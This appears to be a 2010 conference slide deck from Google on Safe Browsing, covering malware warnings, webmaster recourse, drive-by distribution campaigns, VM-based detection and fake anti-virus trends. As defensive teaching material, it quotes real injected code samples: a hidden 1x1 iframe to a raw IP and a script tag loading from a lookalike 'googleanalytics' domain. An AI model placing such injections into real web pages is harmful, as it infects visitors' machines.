Google's approach to malware on the web
SecTor 2010

Fabrice Jaubert
fjaubert@google.com
Overview

- SafeBrowsing and tools for admins
- Malware and distribution campaigns
- Detecting malware
- New trends
- Conclusions
- Q & A
Search Results and Malware

Google search results for "education system canada MBA private scho..."

- **Queen's Exec MBA Montreal**
  - Business.QueensU.ca
  - Earn a Queen's MBA while you work in Montreal.

- **Canadian Homepage, Education In Canada, Study in Canada, MBA In**
  - This site may harm your computer.
  - The education system in Canada encompasses both publicly-funded and private schools, including community colleges/technical institutes, career colleges, ...
  - www.ca/mba/

- **Study in Canada, Universities and Colleges in Canada, MBA**
  - The Canadian education system encompasses both publicly-funded and private schools. We represent the top MBA Universities and Colleges in Canada and assist you through the process of applying for an MBA in Canada. Go Top...
  - www.global-opportunities.net/universities-list-canada.html - India - Cached - Similar
Warning - visiting this web site may harm your computer!

Suggestions:

- Return to the previous page and pick another result.
- Try another search to find what you’re looking for.

Or you can continue to http://www..ca/ at your own risk. For detailed information about the problems we found, visit Google's Safe Browsing diagnostic page for this site.

For more information about how to protect yourself from harmful software online, you can visit StopBadware.org.

If you are the owner of this web site, you can request a review of your site using Google's Webmaster Tools. More information about the review process is available in Google's Webmaster Help Center.

Advisory provided by Google
Frequency of warnings

Search result pages with at least 1 malware warning

Percentage of search results

Date

Warning: Visiting this site may harm your computer!

The website at www.example.ca appears to host malware – software that can hurt your computer or otherwise operate without your consent. Just visiting a site that hosts malware can infect your computer. For detailed information about the problems with this site, visit the Google Safe Browsing diagnostic page for www.example.ca.

Learn more about how to protect yourself from harmful software online.

☐ I understand that visiting this site may harm my computer.

Proceed anyway
Back to safety
Number of Sites with Malware

Number of sites identified by Google

Date

Number of sites

0 50000 100000 150000 200000 250000 300000 350000 400000

Types of Sites Infected with Malware

All your iFRAMEs..., Provos et. al., 2008
Recourse for Victim Sites

- Victim sites are often unaware of infection
- Infection details available through Google Webmaster Tools
- Webmaster:
  - cleans site and *patches vulnerability*
  - asks for re-evaluation through Webmaster Tools
- If site gets re-infected, will be added back to SafeBrowsing
- Automatic re-evaluation after certain time, if no explicit request
Malware

Unfortunately, Google has discovered harmful code on your site. Google users will see a warning page when they attempt to visit pages within this site.

Status of the latest malware review for this site: A review for this site has finished. The site was found to still be dangerous for users. Please review your site again. When you are confident that you have cleaned and secured your site, please request another review.

After you have removed all harmful code from your site and addressed the underlying vulnerability that caused it to be compromised, you can request a review of your site.

Request a review

Some of the infected pages are listed below. Google is providing these pages as a starting point in your investigation and clean-up process. Please also use StopBadware.org's Guide to Cleaning and Securing your Website to identify, address, and prevent any malware activity on your site. Important: Simply removing harmful code from individual pages is not enough to fix the problem; you must also ensure that you identify and address the underlying vulnerabilities that allowed your site to be contaminated.

Problematic URLs on http://example.ca/

<table>
<thead>
<tr>
<th>URL</th>
<th>Last checked</th>
</tr>
</thead>
<tbody>
<tr>
<td>/</td>
<td>10/11/10</td>
</tr>
<tr>
<td>/Postgraduate_Procedure.html</td>
<td>7/11/10</td>
</tr>
<tr>
<td>/admission.html</td>
<td>9/24/10</td>
</tr>
<tr>
<td>/contact_us.html</td>
<td>6/26/10</td>
</tr>
<tr>
<td>/list_of_uni&amp;coll.html</td>
<td>8/16/10</td>
</tr>
<tr>
<td>/recommendation_letter.html</td>
<td>7/2/10</td>
</tr>
</tbody>
</table>
Webmaster Tools: Snippets

Google webmaster tools

Dashboard
Messages (3)

Site configuration
Your site on the web

Diagnostics
Malware

Crawl errors
Crawl stats
HTML suggestions

Labs

Malware

URL: http://[redacted].ca/Postgraduate_Procedure.html

Last checked: July 11, 2010

Suspected injected code

<script src='http://[redacted].com/upload_081230/t19191.php'>

Instances
1 or more
Network Admin Tools

Google Safe Browsing Alerts for Network Administrators

Home

Messages

Safe Browsing Alerts for Network Administrators allows autonomous system (AS) administrators to register to receive Google Safe Browsing notifications. The goal is to provide network administrators with information of malicious content that is being hosted on their networks.

Malware Forum

Home

Messages

- Safe Browsing Report for ASN15169 (GOOGLE) on 10/17/2010
- Safe Browsing Report for ASN15169 (GOOGLE) on 10/16/2010
- Safe Browsing Report for ASN15169 (GOOGLE) on 10/15/2010
- Safe Browsing Report for ASN15169 (GOOGLE) on 10/14/2010
- Safe Browsing Report for ASN15169 (GOOGLE) on 10/13/2010

More >>

Enter the AS you'd like to manage.

[ ] 15169 (GOOGLE)

Continue

AS

Verification

Delete
Malware Primer

● Drive-by Download

● Vector of infection:
  o browser vulnerability
  o vulnerability in *any* plugin
  o very difficult to keep all patched and up-to-date

● Purpose of infection:
  o keylogger (passwords, credit card numbers, ...)
  o botnet (spam, extortion, ...)

● Used by criminal networks
Distribution Campaign Primer

- Organised campaign
  - not a game, not a "fun challenge"

- Black market for infected machines and botnets

- Market for distribution services
  - sending traffic to a (malicious) distribution site
  - billed by number of visits

- We don't fully understand the details
  - financial aspects, monetisation
Malware Distribution: Victim Site

- Landing page for malware distribution
- Usually a legitimate, well-known site
- Server vulnerability exploited by malware distributors
- Malicious content injection

<iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0 />

<script src=http://googleanalytics.com/urchin.js />
Malware Distribution: Malicious Site

- Operated by malware distributors
- Sole purpose: malware distribution, fraud
- May be shared among multiple campaigns
- Server is generally mostly stable (IP address, service provider, ...) and known
Malware Distribution: Intermediary

- Between landing page (victim) and distribution site
- 1 intermediary per campaign
- Uses DNS / host names
  - designed to be un-noticed in source (victim site) content
  - e.g. "googleanalytics"
- Keeps track of traffic redirected to distribution site
  - for billing purposes
A Global Issue

Landing Sites Heat Map (% of total number of identified sites)

Distribution Sites Heat Map (% of total number of identified sites)
Detection Pipeline: The Basics

The Web

Network Monitoring and Logging

Service Responders

VM

Monitoring - Disk, Processes, Memory, etc.
The Virtual Machine

- Unpatched, vulnerable OS, browser, plugins
- Monitor network traffic (and simulate responses)
- Watch for:
  - new processes
  - newly-written files
  - Registry writes
  - scan downloaded files with A/V software
- Issue: Google scale
  - billions of URLs out there
Scaling the VM

Billions of urls

Machine Learning

Millions of candidate urls

Repository
VM Signals to SafeBrowsing API
VM Signals to SafeBrowsing API

- All signals processed to obtain a "score"
- High score ==> clear evidence of infection
  - essentially no false positives
  - definitely some false negatives
- SafeBrowsing API is public
  - sites included by "fingerprint" rather than by URL
New Trends

- Distribution happening on infected (victim) sites rather than on malicious distribution sites
  - we don't yet fully understand the mechanics
  - most likely to try to avoid detection

- Fake Anti-Virus software
  - a (free) "scan" claims to find viruses
  - user offered "anti-virus" software ($$$)
  - this software is generally malware
Fake A/V Example
Frequency of Fake A/Vs

The Nocebo effect..., Rajab et. al., 2010
Fake A/Vs: Social Engineering

The Nocebo effect..., Rajab et. al., 2010
Identifying Fake A/Vs

- Using (genuine) commercial A/V engines
  - less and less effective

- Using new internal algorithms
  - greatly improved detection

- Result: greatly reduced lifespan for distribution sites
  - > 100 hours last year
  - < 1 hour now
Conclusions

- A constant cat-and-mouse game
- No end in sight
  - even if we manage to eliminate all vulnerabilities (!), Social Engineering would take over
- Google's approach, like others, focuses on the technical side
  - but not just a technical problem
Conclusions: A Broader Approach

- Better to also look at financial & criminal aspects
  - tracking money transfers
  - shutting down financial accounts
    (e.g. credit card merchant accounts)
  - identifying & convicting actors

- Complicated, global investigations
  - including non-technical and highly-technical aspects

- Requires a multi-disciplinary coalition of industry, government and law enforcement
  - similar to recent approaches to online child pornography
References

- *The Ghost In The Browser: Analysis of Web-based Malware*, Provos et. al., 2007
  1st Usenix Workshop on Hot Topics in Understanding Botnets (HotBots'07)

- *All Your iFRAMEs Point to Us*, Provos et. al., 2008
  17th Usenix Security Symposium

- *The Nocebo Effect on the Web: An Analysis of Fake Anti-Virus Distribution*, Rajab et. al., 2010
  3rd Usenix Workshop on Large-Scale Exploits and Emergent Threats (LEET'10)
Links

- Google security blog:  
  http://googleonlinesecurity.blogspot.com

- Verifying freshness of your plugins:  
  http://secbrowsing.appspot.com/

- Chrome extension for verifying plugins:  
  http://chrome.google.com/extensions  
  search for "secbrowsing"
More links

- SafeBrowsing API (technical docs):
  http://code.google.com/apis/safebrowsing

- Webmaster Tools:
  http://www.google.com/webmaster/tools/

- Alerts for network admins:
  http://safebrowsingalerts.googlelabs.com/

- Reporting malware:
  http://www.google.com/safebrowsing/report_badware/
Questions...